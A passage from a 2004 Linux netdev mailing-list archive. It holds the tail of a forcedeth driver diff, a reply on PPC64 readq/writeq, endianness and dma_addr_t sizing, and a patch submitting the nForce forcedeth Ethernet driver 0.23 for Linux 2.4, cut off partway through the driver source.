writel((np->phyaddr << NVREG_ADAPTCTL_PHYSHIFT)|NVREG_ADAPTCTL_PHYVALID, base + NvRegAdapterControl); @@ -1198,9 +1262,9 @@ base + NvRegRingSizes); i = readl(base + NvRegPowerState); - if ( (i & NVREG_POWERSTATE_POWEREDUP) == 0) { + if ( (i & NVREG_POWERSTATE_POWEREDUP) == 0) writel(NVREG_POWERSTATE_POWEREDUP|i, base + NvRegPowerState); - } + pci_push(base); udelay(10); writel(readl(base + NvRegPowerState) | NVREG_POWERSTATE_VALID, base + NvRegPowerState); @@ -1232,7 +1296,9 @@ netif_start_queue(dev); if (oom) mod_timer(&np->oom_kick, jiffies + OOM_REFILL); - if (!(mii_rw(dev, np->phyaddr, MII_BMSR, MII_READ) & BMSR_ANEGCOMPLETE)) { + if (mii_rw(dev, np->phyaddr, MII_BMSR, MII_READ) & BMSR_ANEGCOMPLETE) { + netif_carrier_on(dev); + } else { printk("%s: no link during initialization.\n", dev->name); netif_carrier_off(dev); } @@ -1245,9 +1311,10 @@ return ret; } -static int close(struct net_device *dev) +static int nv_close(struct net_device *dev) { struct fe_priv *np = get_nvpriv(dev); + u8 *base; spin_lock_irq(&np->lock); np->in_shutdown = 1; @@ -1261,6 +1328,13 @@ spin_lock_irq(&np->lock); stop_tx(dev); stop_rx(dev); + base = get_hwbase(dev); + + /* disable interrupts on the nic or we will lock up */ + writel(0, base + NvRegIrqMask); + pci_push(base); + dprintk(KERN_INFO "%s: Irqmask is zero again\n", dev->name); + spin_unlock_irq(&np->lock); free_irq(dev->irq, dev); @@ -1272,7 +1346,7 @@ return 0; } -static int __devinit probe_nic(struct pci_dev *pci_dev, const struct pci_device_id *id) +static int __devinit nv_probe(struct pci_dev *pci_dev, const struct pci_device_id *id) { struct net_device *dev; struct fe_priv *np; @@ -1281,11 +1355,11 @@ int err, i; dev = alloc_etherdev(sizeof(struct fe_priv)); - np = get_nvpriv(dev); err = -ENOMEM; if (!dev) goto out; + np = get_nvpriv(dev); np->pci_dev = pci_dev; spin_lock_init(&np->lock); SET_MODULE_OWNER(dev); @@ -1333,7 +1407,7 @@ err = -ENOMEM; dev->base_addr = (unsigned long) ioremap(addr, NV_PCI_REGSZ); if (!dev->base_addr) - goto out_disable; + goto out_relreg; dev->irq = pci_dev->irq; np->rx_ring = pci_alloc_consistent(pci_dev, sizeof(struct ring_desc) * (RX_RING + TX_RING), &np->ring_addr); @@ -1341,19 +1415,18 @@ goto out_unmap; np->tx_ring = &np->rx_ring[RX_RING]; - dev->open = open; - dev->stop = close; - dev->hard_start_xmit = start_xmit; - dev->get_stats = get_stats; - dev->change_mtu = change_mtu; - dev->set_multicast_list = set_multicast; - dev->do_ioctl = nic_ioctl; - dev->tx_timeout = tx_timeout; + dev->open = nv_open; + dev->stop = nv_close; + dev->hard_start_xmit = nv_start_xmit; + dev->get_stats = nv_get_stats; + dev->change_mtu = nv_change_mtu; + dev->set_multicast_list = nv_set_multicast; + dev->do_ioctl = nv_ioctl; + dev->tx_timeout = nv_tx_timeout; dev->watchdog_timeo = NV_WATCHDOG_TIMEO; pci_set_drvdata(pci_dev, dev); - /* read the mac address */ base = get_hwbase(dev); np->orig_mac[0] = readl(base + NvRegMacAddrA); @@ -1393,6 +1466,8 @@ np->irqmask = NVREG_IRQMASK_WANTED_1; if (id->driver_data & DEV_IRQMASK_2) np->irqmask = NVREG_IRQMASK_WANTED_2; + if (id->driver_data & DEV_NEED_TIMERIRQ) + np->irqmask |= NVREG_IRQ_TIMER; err = register_netdev(dev); if (err) { @@ -1408,6 +1483,7 @@ out_freering: pci_free_consistent(np->pci_dev, sizeof(struct ring_desc) * (RX_RING + TX_RING), np->rx_ring, np->ring_addr); + pci_set_drvdata(pci_dev, NULL); out_unmap: iounmap(get_hwbase(dev)); out_relreg: @@ -1416,12 +1492,11 @@ pci_disable_device(pci_dev); out_free: free_netdev(dev); - pci_set_drvdata(pci_dev, NULL); out: return err; } -static void __devexit remove_nic(struct pci_dev *pci_dev) +static void __devexit nv_remove(struct pci_dev *pci_dev) { struct net_device *dev = pci_get_drvdata(pci_dev); struct fe_priv *np = get_nvpriv(dev); @@ -1430,7 +1505,7 @@ unregister_netdev(dev); /* special op: write back the misordered MAC address - otherwise - * the next probe_nic would see a wrong address. + * the next nv_probe would see a wrong address. */ writel(np->orig_mac[0], base + NvRegMacAddrA); writel(np->orig_mac[1], base + NvRegMacAddrB); @@ -1450,21 +1525,21 @@ .device = 0x1C3, .subvendor = PCI_ANY_ID, .subdevice = PCI_ANY_ID, - .driver_data = DEV_IRQMASK_1, + .driver_data = DEV_IRQMASK_1|DEV_NEED_TIMERIRQ, }, { /* nForce2 Ethernet Controller */ .vendor = PCI_VENDOR_ID_NVIDIA, .device = 0x0066, .subvendor = PCI_ANY_ID, .subdevice = PCI_ANY_ID, - .driver_data = DEV_NEED_LASTPACKET1|DEV_IRQMASK_2, + .driver_data = DEV_NEED_LASTPACKET1|DEV_IRQMASK_2|DEV_NEED_TIMERIRQ, }, { /* nForce3 Ethernet Controller */ .vendor = PCI_VENDOR_ID_NVIDIA, .device = 0x00D6, .subvendor = PCI_ANY_ID, .subdevice = PCI_ANY_ID, - .driver_data = DEV_NEED_LASTPACKET1|DEV_IRQMASK_2, + .driver_data = DEV_NEED_LASTPACKET1|DEV_IRQMASK_2|DEV_NEED_TIMERIRQ, }, {0,}, }; @@ -1472,8 +1547,8 @@ static struct pci_driver driver = { .name = "forcedeth", .id_table = pci_tbl, - .probe = probe_nic, - .remove = __devexit_p(remove_nic), + .probe = nv_probe, + .remove = __devexit_p(nv_remove), }; --------------070401010800060103040508-- From grundler@cup.hp.com Wed Feb 4 16:48:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 16:48:39 -0800 (PST) Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i150mPKO014166 for ; Wed, 4 Feb 2004 16:48:34 -0800 Received: from hpuxmail.cup.hp.com (hpuxmail.cup.hp.com [15.13.189.207]) by palrel10.hp.com (Postfix) with ESMTP id E35171C01042; Wed, 4 Feb 2004 16:48:24 -0800 (PST) Received: from debian.cup.hp.com (postfix@[15.244.57.47]) by hpuxmail.cup.hp.com (8.11.1/8.8.6) with ESMTP id i150mFo22268; Wed, 4 Feb 2004 16:48:15 -0800 (PST) Received: by debian.cup.hp.com (Postfix, from userid 1001) id ABAA32F7CC; Wed, 4 Feb 2004 16:49:52 -0800 (PST) Date: Wed, 4 Feb 2004 16:49:52 -0800 From: Grant Grundler To: Leonid Grossman Cc: "'Andi Kleen'" , netdev@oss.sgi.com, "'Ragu Vatsavayi'" , "'Grant Grundler'" Subject: Re: FW: Submission for S2io 10GbE driver Message-ID: <20040205004952.GA27510@cup.hp.com> References: <20040123232209.2739e6aa.ak@suse.de> <004201c3eb5f$ac4e9f00$740efea9@S2IOtech.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <004201c3eb5f$ac4e9f00$740efea9@S2IOtech.com> User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 3000 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: iod00d@hp.com Precedence: bulk X-list: netdev On Wed, Feb 04, 2004 at 12:44:21PM -0800, Leonid Grossman wrote: > 1) We did't find quad word memory operations(writeq and readq) on PCI > bus for PPC64 architecture. I would consider that a bug in the PPC64 port. You can submit a patch to add a readq/writeq implementation using 32-bit ops if the PCI Host controller doesn't support 64-bit transactions. This doesn't always work since two 32-bit writes to a 64-bit register is not the same as one 64-bit write. Your HW needs to be aware of that if you want to support that platform. > 2) We did't had a chance to test the driver on other big endian systems > apart from PPC64. In PPC64 architecture though, > I write/read a value to/from ioremaped address it swaps the value and > behaves like a little endian m/c: > > For ex: if I do writel(0x12345678, addr) then in it writes > addr: 78, (addr+1):56, (addr+2):34, (addr+3):12 ... > On a little endian m/c like IA32 also writel writes same values in a > similar manner as shown above. > So the question is - > Do all big endian machines with linux OS swap the values and write in > little endian format?? Yes - I believe so. There are ways to avoid the byte swap but I'm really not keen on advocating this path. byte swapping is so much cheaper than the PIO Reads, it just doesn't make sense to obfuscate the code most of the time. > 3)In PPC64 architecture dma_addr_t is u32, unlike remaining 64 bit > architectures where it is defined as u64. Because of this we have > to deal separately for PP64. You shouldn't be using dma_addr_t for layout of data structures shared with the card. Several architectures *only* use 32-bit DMA addresses (IOMMU for all DMA). It makes sense on those architectures to define dma_addr_t as u32. Try "fgrep dma_addr_t include/asm*/* | fgrep typedef" on linux-2.6 tree. > So any suggestions will be useful, .i.e. generally how PPC64 developers > deal with this? Only use dma_addr_t to map data and not to define data structures consumed by the card. Some history from my perspective: Fri, 9 Feb 2001, I started a discussion on linux-mm@kvack.org mailing list on exactly this issue for linux-2.4. At the time Dave Miller "owned" DMA interface and insisted dma_addr_t be u32. He offered dma64_addr_t would be introduced in linux-2.5. So far so good. The only problem was IA64 was already defining dma_addr_t as u64 and mips was using "unsigned long". Issue came up again on linux-kernel/linux-ia64 Feb 6, 2002. (Subject: Proper fix for sym53c8xx_2 driver and dma64_addr_t) It was pretty clear pci_dac_XXX() was the "preferred" interface to use. But it made it impossible for a driver to support multiple chips that supported both. Somewhere along the line, I think with more thrashing about on pci_set_dma_mask(), it was decided it was ok for dma_addr_t to be u64 on architectures that supported it. Last step into this mess was "64 Bits DMA Addresses for Alloc Consistent Interfaces" thread started by SGI. Altix box needed it in order to support PCI-X devices in PCI-X mode. (15 May 2003) This resulted in "pci_set_consistent_dma_mask()" interface in order to change the dma_mask for pci_alloc_consistent() calls. AlexW just submitted support for this a week or two ago to 2.6 kernel. > Say if we have some structure corresponding to memory region of our > hardware device which should be of 16 bytes. ... > Then above definition will not work for PPC64, we need to modify it like > this: > struct hw { > dma_addr_t phys; > char *virt; > #ifdef ARCH32 > u64 dummy; > #endif > #ifdef ARCH_PPC64 > u32 dummy; > #endif > } Use "u64 phys" and it will always be correct. And "char * virt" has the same problem. "char *" will vary in size depending arch (ILP32 vs LP64 data model) as well. You did claim this code worked on i386, ia64 and PPC64, right? hth, grant From c-d.hailfinger.kernel.2004@gmx.net Wed Feb 4 16:52:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 16:52:28 -0800 (PST) Received: from mail.gmx.net (pop.gmx.de [213.165.64.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i150qKKO014561 for ; Wed, 4 Feb 2004 16:52:21 -0800 Received: (qmail 20005 invoked by uid 65534); 5 Feb 2004 00:52:14 -0000 Received: from stud212019.studentenheim.uni-tuebingen.de (EHLO gmx.net) (134.2.212.19) by mail.gmx.net (mp008) with SMTP; 05 Feb 2004 01:52:14 +0100 X-Authenticated: #21910825 Message-ID: <402193B9.3000000@gmx.net> Date: Thu, 05 Feb 2004 01:52:09 +0100 From: Carl-Daniel Hailfinger User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030821 X-Accept-Language: de, en MIME-Version: 1.0 To: Marcelo Tosatti CC: Linux Kernel Mailing List , Netdev , Jeff Garzik , Manfred Spraul Subject: [PATCH] [2.4] forcedeth network driver X-Enigmail-Version: 0.76.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: multipart/mixed; boundary="------------080200080605050005000104" X-archive-position: 3001 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: c-d.hailfinger.kernel.2004@gmx.net Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------080200080605050005000104 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Marcelo, attached is the current version (0.23) of forcedeth, a network driver for nForce{,2,3} chipsets which are fairly common today. So far, the only support for nForce chipsets has been a binary-only driver from NVidia. The previous patch I sent generated some criticism from Jeff Garzik et al. which has been addressed in the current version. The current version has been posted for review twice and nobody has complained about it for more than a week. This driver has received testing by over 200 people on nForce1, nForce2 and nForce3 chipsets and has already been integrated into 2.6. Before that, it has been in -mm for a few weeks. We currently don't have any unresolved bug reports. Credits for the driver go to: Andrew de Quincey: Writing a spec for the chipset Carl-Daniel Hailfinger: Co-author of the spec, driver fixes Manfred Spraul: Writing the driver The patch is against your current bk tree. Please apply. Carl-Daniel --------------080200080605050005000104 Content-Type: text/plain; name="forcedeth_2_4_patch_v23.txt" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="forcedeth_2_4_patch_v23.txt" # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1321 -> 1.1323 # drivers/net/Makefile 1.40.1.1 -> 1.42 # drivers/net/Config.in 1.72.1.1 -> 1.75 # Documentation/Configure.help 1.206.1.21 -> 1.210 # (new) -> 1.11 drivers/net/forcedeth.c # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/02/04 compiler@4100xcdt.local 1.1322 # Merge 4100xcdt.local:/sources/linux-2.4 # into 4100xcdt.local:/sources/linux-2.4-forcedeth # -------------------------------------------- # 04/02/05 compiler@4100xcdt.local 1.1323 # update forcedeth from 0.22 to 0.23: cleanups, remove all compat macros # -------------------------------------------- # diff -Nru a/Documentation/Configure.help b/Documentation/Configure.help --- a/Documentation/Configure.help Thu Feb 5 01:11:12 2004 +++ b/Documentation/Configure.help Thu Feb 5 01:11:13 2004 @@ -12358,6 +12358,16 @@ . The module will be called b44. +nForce Ethernet support (EXPERIMENTAL) +CONFIG_FORCEDETH + If you have a network (Ethernet) controller of this type, say Y and + read the Ethernet-HOWTO, available from + . + + To compile this driver as a module, choose M here and read + . The module will be + called forcedeth.o. + CS89x0 support (Daynaport CS and LC cards) CONFIG_CS89x0 Support for CS89x0 chipset based Ethernet cards. If you have a diff -Nru a/drivers/net/Config.in b/drivers/net/Config.in --- a/drivers/net/Config.in Thu Feb 5 01:11:12 2004 +++ b/drivers/net/Config.in Thu Feb 5 01:11:12 2004 @@ -198,6 +198,7 @@ dep_tristate ' Myson MTD-8xx PCI Ethernet support' CONFIG_FEALNX $CONFIG_PCI dep_tristate ' National Semiconductor DP8381x series PCI Ethernet support' CONFIG_NATSEMI $CONFIG_PCI dep_tristate ' PCI NE2000 and clones support (see help)' CONFIG_NE2K_PCI $CONFIG_PCI + dep_tristate ' nForce Ethernet support (EXPERIMENTAL)' CONFIG_FORCEDETH $CONFIG_PCI $CONFIG_EXPERIMENTAL dep_tristate ' Novell/Eagle/Microdyne NE3210 EISA support (EXPERIMENTAL)' CONFIG_NE3210 $CONFIG_EISA $CONFIG_EXPERIMENTAL dep_tristate ' Racal-Interlan EISA ES3210 support (EXPERIMENTAL)' CONFIG_ES3210 $CONFIG_EISA $CONFIG_EXPERIMENTAL dep_tristate ' RealTek RTL-8139 C+ PCI Fast Ethernet Adapter support (EXPERIMENTAL)' CONFIG_8139CP $CONFIG_PCI $CONFIG_EXPERIMENTAL diff -Nru a/drivers/net/Makefile b/drivers/net/Makefile --- a/drivers/net/Makefile Thu Feb 5 01:11:12 2004 +++ b/drivers/net/Makefile Thu Feb 5 01:11:12 2004 @@ -154,6 +154,7 @@ obj-$(CONFIG_NE3210) += ne3210.o 8390.o obj-$(CONFIG_NET_SB1250_MAC) += sb1250-mac.o obj-$(CONFIG_B44) += b44.o +obj-$(CONFIG_FORCEDETH) += forcedeth.o obj-$(CONFIG_PPP) += ppp_generic.o slhc.o obj-$(CONFIG_PPP_ASYNC) += ppp_async.o diff -Nru a/drivers/net/forcedeth.c b/drivers/net/forcedeth.c --- /dev/null Wed Dec 31 16:00:00 1969 +++ b/drivers/net/forcedeth.c Thu Feb 5 01:11:13 2004 @@ -0,0 +1,1576 @@ +/* + * forcedeth: Ethernet driver for NVIDIA nForce media access controllers. + * + * Note: This driver is a cleanroom reimplementation based on reverse + * engineered documentation written by Carl-Daniel Hailfinger + * and Andrew de Quincey. It's neither supported nor endorsed + * by NVIDIA Corp. Use at your own risk. + * + * NVIDIA, nForce and other NVIDIA marks are trademarks or registered + * trademarks of NVIDIA Corporation in the United States and other + * countries. + * + * Copyright (C) 2003 Manfred Spraul + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + * + * Changelog: + * 0.01: 05 Oct 2003: First release that compiles without warnings. + * 0.02: 05 Oct 2003: Fix bug for drain_tx: do not try to free NULL skbs. + * Check all PCI BARs for the register window. + * udelay added to mii_rw. + * 0.03: 06 Oct 2003: Initialize dev->irq. + * 0.04: 07 Oct 2003: Initialize np->lock, reduce handled irqs, add printks. + * 0.05: 09 Oct 2003: printk removed again, irq status print tx_timeout. + * 0.06: 10 Oct 2003: MAC Address read updated, pff flag generation updated, + * irq mask updated + * 0.07: 14 Oct 2003: Further irq mask updates. + * 0.08: 20 Oct 2003: rx_desc.Length initialization added, alloc_rx refill + * added into irq handler, NULL check for drain_ring. + * 0.09: 20 Oct 2003: Basic link speed irq implementation. Only handle the + * requested interrupt sources. + * 0.10: 20 Oct 2003: First cleanup for release. + * 0.11: 21 Oct 2003: hexdump for tx added, rx buffer sizes increased. + * MAC Address init fix, set_multicast cleanup. + * 0.12: 23 Oct 2003: Cleanups for release. + * 0.13: 25 Oct 2003: Limit for concurrent tx packets increased to 10. + * Set link speed correctly. start rx before starting + * tx (start_rx sets the link speed). + * 0.14: 25 Oct 2003: Nic dependant irq mask. + * 0.15: 08 Nov 2003: fix smp deadlock with set_multicast_list during + * open. + * 0.16: 15 Nov 2003: include file cleanup for ppc64, rx buffer size + * increased to 1628 bytes. + * 0.17: 16 Nov 2003: undo rx buffer size increase. Substract 1 from + * the tx length. + * 0.18: 17 Nov 2003: fix oops due to late initialization of dev_stats + * 0.19: 29 Nov 2003: Handle RxNoBuf, detect & handle invalid mac + * addresses, really stop rx if already running + * in start_rx, clean up a bit. + * (C) Carl-Daniel Hailfinger + * 0.20: 07 Dec 2003: alloc fixes + * 0.21: 12 Jan 2004: additional alloc fix, nic polling fix. + * 0.22: 19 Jan 2004: reprogram timer to a sane rate, avoid lockup + * on close. + * (C) Carl-Daniel Hailfinger, Manfred Spraul + * 0.23: 26 Jan 2004: various small cleanups + * + * Known bugs: + * We suspect that on some hardware no TX done interrupts are generated. + * This means recovery from netif_stop_queue only happens if the hw timer + * interrupt fires (100 times/second, configurable with NVREG_POLL_DEFAULT) + * and the timer is active in the IRQMask, or if a rx packet arrives by chance. + * If your hardware reliably generates tx done interrupts, then you can remove + * DEV_NEED_TIMERIRQ from the driver_data flags. + * DEV_NEED_TIMERIRQ will not harm you on sane hardware, only generating a few + * superfluous timer interrupts from the nic. + */ +#define FORCEDETH_VERSION "0.23" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#if 0 +#define dprintk printk +#else +#define dprintk(x...) do { } while (0) +#endif + + +/* + * Hardware access: + */ + +#define DEV_NEED_LASTPACKET1 0x0001 +#define DEV_IRQMASK_1 0x0002 +#define DEV_IRQMASK_2 0x0004 +#define DEV_NEED_TIMERIRQ 0x0008 + +enum { + NvRegIrqStatus = 0x000, +#define NVREG_IRQSTAT_MIIEVENT 0x040 +#define NVREG_IRQSTAT_MASK 0x1ff + NvRegIrqMask = 0x004, +#define NVREG_IRQ_RX 0x0002 +#define NVREG_IRQ_RX_NOBUF 0x0004 +#define NVREG_IRQ_TX_ERR 0x0008 +#define NVREG_IRQ_TX2 0x0010 +#define NVREG_IRQ_TIMER 0x0020 +#define NVREG_IRQ_LINK 0x0040 +#define NVREG_IRQ_TX1 0x0100 +#define NVREG_IRQMASK_WANTED_1 0x005f +#define NVREG_IRQMASK_WANTED_2 0x0147 +#define NVREG_IRQ_UNKNOWN (~(NVREG_IRQ_RX|NVREG_IRQ_RX_NOBUF|NVREG_IRQ_TX_ERR|NVREG_IRQ_TX2|NVREG_IRQ_TIMER|NVREG_IRQ_LINK|NVREG_IRQ_TX1)) + + NvRegUnknownSetupReg6 = 0x008, +#define NVREG_UNKSETUP6_VAL 3 + +/* + * NVREG_POLL_DEFAULT is the interval length of the timer source on the nic + * NVREG_POLL_DEFAULT=97 would result in an interval length of 1 ms + */ + NvRegPollingInterval = 0x00c, +#define NVREG_POLL_DEFAULT 970 + NvRegMisc1 = 0x080, +#define NVREG_MISC1_HD 0x02 +#define NVREG_MISC1_FORCE 0x3b0f3c + + NvRegTransmitterControl = 0x084, +#define NVREG_XMITCTL_START 0x01 + NvRegTransmitterStatus = 0x088, +#define NVREG_XMITSTAT_BUSY 0x01 + + NvRegPacketFilterFlags = 0x8c, +#define NVREG_PFF_ALWAYS 0x7F0008 +#define NVREG_PFF_PROMISC 0x80 +#define NVREG_PFF_MYADDR 0x20 + + NvRegOffloadConfig = 0x90, +#define NVREG_OFFLOAD_HOMEPHY 0x601 +#define NVREG_OFFLOAD_NORMAL 0x5ee + NvRegReceiverControl = 0x094, +#define NVREG_RCVCTL_START 0x01 + NvRegReceiverStatus = 0x98, +#define NVREG_RCVSTAT_BUSY 0x01 + + NvRegRandomSeed = 0x9c, +#define NVREG_RNDSEED_MASK 0x00ff +#define NVREG_RNDSEED_FORCE 0x7f00 + + NvRegUnknownSetupReg1 = 0xA0, +#define NVREG_UNKSETUP1_VAL 0x16070f + NvRegUnknownSetupReg2 = 0xA4, +#define NVREG_UNKSETUP2_VAL 0x16 + NvRegMacAddrA = 0xA8, + NvRegMacAddrB = 0xAC, + NvRegMulticastAddrA = 0xB0, +#define NVREG_MCASTADDRA_FORCE 0x01 + NvRegMulticastAddrB = 0xB4, + NvRegMulticastMaskA = 0xB8, + NvRegMulticastMaskB = 0xBC, + + NvRegTxRingPhysAddr = 0x100, + NvRegRxRingPhysAddr = 0x104, + NvRegRingSizes = 0x108, +#define NVREG_RINGSZ_TXSHIFT 0 +#define NVREG_RINGSZ_RXSHIFT 16 + NvRegUnknownTransmitterReg = 0x10c, + NvRegLinkSpeed = 0x110, +#define NVREG_LINKSPEED_FORCE 0x10000 +#define NVREG_LINKSPEED_10 10 +#define NVREG_LINKSPEED_100 100 +#define NVREG_LINKSPEED_1000 1000 + NvRegUnknownSetupReg5 = 0x130, +#define NVREG_UNKSETUP5_BIT31 (1<<31) + NvRegUnknownSetupReg3 = 0x134, +#define NVREG_UNKSETUP3_VAL1 0x200010 + NvRegTxRxControl = 0x144, +#define NVREG_TXRXCTL_KICK 0x0001 +#define NVREG_TXRXCTL_BIT1 0x0002 +#define NVREG_TXRXCTL_BIT2 0x0004 +#define NVREG_TXRXCTL_IDLE 0x0008 +#define NVREG_TXRXCTL_RESET 0x0010 + NvRegMIIStatus = 0x180, +#define NVREG_MIISTAT_ERROR 0x0001 +#define NVREG_MIISTAT_LINKCHANGE 0x0008 +#define NVREG_MIISTAT_MASK 0x000f +#define NVREG_MIISTAT_MASK2 0x000f + NvRegUnknownSetupReg4 = 0x184, +#define NVREG_UNKSETUP4_VAL 8 + + NvRegAdapterControl = 0x188, +#define NVREG_ADAPTCTL_START 0x02 +#define NVREG_ADAPTCTL_LINKUP 0x04 +#define NVREG_ADAPTCTL_PHYVALID 0x4000 +#define NVREG_ADAPTCTL_RUNNING 0x100000 +#define NVREG_ADAPTCTL_PHYSHIFT 24 + NvRegMIISpeed = 0x18c, +#define NVREG_MIISPEED_BIT8 (1<<8) +#define NVREG_MIIDELAY 5 + NvRegMIIControl = 0x190, +#define NVREG_MIICTL_INUSE 0x10000 +#define NVREG_MIICTL_WRITE 0x08000 +#define NVREG_MIICTL_ADDRSHIFT 5 + NvRegMIIData = 0x194, + NvRegWakeUpFlags = 0x200, +#define NVREG_WAKEUPFLAGS_VAL 0x7770 +#define NVREG_WAKEUPFLAGS_BUSYSHIFT 24 +#define NVREG_WAKEUPFLAGS_ENABLESHIFT 16 +#define NVREG_WAKEUPFLAGS_D3SHIFT 12 +#define NVREG_WAKEUPFLAGS_D2SHIFT 8 +#define NVREG_WAKEUPFLAGS_D1SHIFT 4 +#define NVREG_WAKEUPFLAGS_D0SHIFT 0 +#define NVREG_WAKEUPFLAGS_ACCEPT_MAGPAT 0x01 +#define NVREG_WAKEUPFLAGS_ACCEPT_WAKEUPPAT 0x02 +#define NVREG_WAKEUPFLAGS_ACCEPT_LINKCHANGE 0x04 + + NvRegPatternCRC = 0x204, + NvRegPatternMask = 0x208, + NvRegPowerCap = 0x268, +#define NVREG_POWERCAP_D3SUPP (1<<30) +#define NVREG_POWERCAP_D2SUPP (1<<26) +#define NVREG_POWERCAP_D1SUPP (1<<25) + NvRegPowerState = 0x26c, +#define NVREG_POWERSTATE_POWEREDUP 0x8000 +#define NVREG_POWERSTATE_VALID 0x0100 +#define NVREG_POWERSTATE_MASK 0x0003 +#define NVREG_POWERSTATE_D0 0x0000 +#define NVREG_POWERSTATE_D1 0x0001 +#define NVREG_POWERSTATE_D2 0x0002 +#define NVREG_POWERSTATE_D3 0x0003 +}; + +struct ring_desc { + u32 PacketBuffer; + u16 Length; + u16 Flags; +}; + +#define NV_TX_LASTPACKET (1<<0) +#define NV_TX_RETRYERROR (1<<3) +#define NV_TX_LASTPACKET1 (1<<8) +#define NV_TX_DEFERRED (1<<10) +#define NV_TX_CARRIERLOST (1<<11) +#define NV_TX_LATECOLLISION (1<<12) +#define NV_TX_UNDERFLOW (1<<13) +#define NV_TX_ERROR (1<<14) +#define NV_TX_VALID (1<<15) + +#define NV_RX_DESCRIPTORVALID (1<<0) +#define NV_RX_MISSEDFRAME (1<<1) +#define NV_RX_SUBSTRACT1 (1<<3) +#define NV_RX_ERROR1 (1<<7) +#define NV_RX_ERROR2 (1<<8) +#define NV_RX_ERROR3 (1<<9) +#define NV_RX_ERROR4 (1<<10) +#define NV_RX_CRCERR (1<<11) +#define NV_RX_OVERFLOW (1<<12) +#define NV_RX_FRAMINGERR (1<<13) +#define NV_RX_ERROR (1<<14) +#define NV_RX_AVAIL (1<<15) + +/* Miscelaneous hardware related defines: */ +#define NV_PCI_REGSZ 0x270 + +/* various timeout delays: all in usec */ +#define NV_TXRX_RESET_DELAY 4 +#define NV_TXSTOP_DELAY1 10 +#define NV_TXSTOP_DELAY1MAX 500000 +#define NV_TXSTOP_DELAY2 100 +#define NV_RXSTOP_DELAY1 10 +#define NV_RXSTOP_DELAY1MAX 500000 +#define NV_RXSTOP_DELAY2 100 +#define NV_SETUP5_DELAY 5 +#define NV_SETUP5_DELAYMAX 50000 +#define NV_POWERUP_DELAY 5 +#define NV_POWERUP_DELAYMAX 5000 +#define NV_MIIBUSY_DELAY 50 +#define NV_MIIPHY_DELAY 10 +#define NV_MIIPHY_DELAYMAX 10000 + +#define NV_WAKEUPPATTERNS 5 +#define NV_WAKEUPMASKENTRIES 4 + +/* General driver defaults */ +#define NV_WATCHDOG_TIMEO (5*HZ) +#define DEFAULT_MTU 1500 /* also maximum supported, at least for now */ + +#define RX_RING 128 +#define TX_RING 16 +/* limited to 1 packet until we understand NV_TX_LASTPACKET */ +#define TX_LIMIT_STOP 10 +#define TX_LIMIT_START 5 + +/* rx/tx mac addr + type + vlan + align + slack*/ +#define RX_NIC_BUFSIZE (DEFAULT_MTU + 64) +/* even more slack */ +#define RX_ALLOC_BUFSIZE (DEFAULT_MTU + 128) + +#define OOM_REFILL (1+HZ/20) +#define POLL_WAIT (1+HZ/100) + +/* + * SMP locking: + * All hardware access under dev->priv->lock, except the performance + * critical parts: + * - rx is (pseudo-) lockless: it relies on the single-threading provided + * by the arch code for interrupts. + * - tx setup is lockless: it relies on dev->xmit_lock. Actual submission + * needs dev->priv->lock :-( + * - set_multicast_list: preparation lockless, relies on dev->xmit_lock. + */ + +/* in dev: base, irq */ +struct fe_priv { + spinlock_t lock; + + /* General data: + * Locking: spin_lock(&np->lock); */ + struct net_device_stats stats; + int in_shutdown; + u32 linkspeed; + int duplex; + int phyaddr; + + /* General data: RO fields */ + dma_addr_t ring_addr; + struct pci_dev *pci_dev; + u32 orig_mac[2]; + u32 irqmask; + + /* rx specific fields. + * Locking: Within irq hander or disable_irq+spin_lock(&np->lock); + */ + struct ring_desc *rx_ring; + unsigned int cur_rx, refill_rx; + struct sk_buff *rx_skbuff[RX_RING]; + dma_addr_t rx_dma[RX_RING]; + unsigned int rx_buf_sz; + struct timer_list oom_kick; + struct timer_list nic_poll; + + /* + * tx specific fields. + */ + struct ring_desc *tx_ring; + unsigned int next_tx, nic_tx; + struct sk_buff *tx_skbuff[TX_RING]; + dma_addr_t tx_dma[TX_RING]; + u16 tx_flags; +}; + +/* + * Maximum number of loops until we assume that a bit in the irq mask + * is stuck. Overridable with module param. + */ +static int max_interrupt_work = 5; + +static inline struct fe_priv *get_nvpriv(struct net_device *dev) +{ + return (struct fe_priv *) dev->priv; +} + +static inline u8 *get_hwbase(struct net_device *dev) +{ + return (u8 *) dev->base_addr; +} + +static inline void pci_push(u8 * base) +{ + /* force out pending posted writes */ + readl(base); +} + +static int reg_delay(struct net_device *dev, int offset, u32 mask, u32 target, + int delay, int delaymax, const char *msg) +{ + u8 *base = get_hwbase(dev); + + pci_push(base); + do { + udelay(delay); + delaymax -= delay; + if (delaymax < 0) { + if (msg) + printk(msg); + return 1; + } + } while 